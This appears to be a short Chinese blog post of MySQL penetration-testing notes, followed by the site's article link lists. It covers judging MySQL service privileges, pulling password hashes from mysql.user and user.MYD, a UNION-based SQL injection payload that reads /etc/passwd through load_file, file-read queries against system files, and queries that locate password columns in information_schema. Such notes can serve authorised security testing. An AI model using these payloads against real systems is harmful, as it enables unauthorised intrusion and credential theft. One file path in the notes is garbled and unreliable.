判断MySQL服务运行的权限

1、查看系统账号,如果出现MySQL这类用户,意味着系统可能出现了降权。

2、看mysqld运行的priority值。

3、查看端口是否可外联。

MySQL密码获取与破解

1、获取网站数据库账号和密码

2、获取MySQL数据库user表

用户一共有三个文件,即user.frm、user.MYD、user.MYI,MySQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户密码。

MySQL密码查询

select user,password from mysql.user;

select user,password from mysql.user where user = 'root';

mysql 渗透技巧

如果发现一个PHP的SQL 注入点,可以通过构造"-1 union select 1,1,1,1,1,load_file('/etc/passwd')"

直接读取的配置文件的命令如下

select load_file('/etc/passwd')\

select load_file('/etc/issues')

select load_file('/etc/etc/rc.local')

一些常见的MySQL命令

show databases;

use testdatabases; 使用某个数据库

show tables;

select * from a 查询a表中所有的数据

select @@datadir;  查询数据库的路径

select @@basedir  查询mysql的安装路径

常用内置函数

select system_user() 查询系统

select current_user() 查询用户

select user() 查询用户

select version() 查询数据库版本

select database() 查询当前连接的数据库

select @@version_compile_os查询当前操作系统

select now() 显示当前时间

快速定位数据库中涉及的密码表

select table_schema,table_name,column_name from information_schema.columns where column_name like ‘%password%’;

最新文章

  1. ubuntu14.04redis安装以及扩展
  2. processModel与ASP.NET进程模型
  3. 两个shell脚本
  4. mysql 表关联查询报错 ERROR 1267 (HY000)
  5. LInux 安全测试
  6. Redis-分布式
  7. 【你吐吧c#每日学习】10.29 C#字符串类型&Common operators
  8. Shell如何传递字符串
  9. Android Drawable 与 LayerList综合汇总
  10. uitableView 选择跳过后, 跳回 颜色变化 问题
  11. avalonJS入门(一)
  12. mysql5.6 无法使用64odbc连接
  13. 寄存器(CPU原理)
  14. nexus 10 救砖 安装lineage OS 15 并 root
  15. element 给table的个别表格框添加样式 ---重构里面的组件
  16. Pycharm远程调试原理及配置
  17. Redux,基础
  18. java 11 ZGC(可伸缩,低延迟的gc)
  19. __libc_csu_init函数的通用gadget
  20. 2013长春网赛 1006 hdu 4764 Stone(巴什博弈)

热门文章

  1. 如何在本地搭建微信小程序服务器
  2. Java 设置Excel单元格格式—基于Spire.Cloud.SDK for Java
  3. 在CentOS7上源码安装OpenResty
  4. Arduino连接LCD1602显示屏
  5. 精美图文讲解Java AQS 共享式获取同步状态以及Semaphore的应用
  6. Beta冲刺<10/10>
  7. activity的四种启动模式详细分析
  8. liunx中组合查询的命令
  9. 在Ubuntu上实现人脸识别登录
  10. express高效入门教程(4)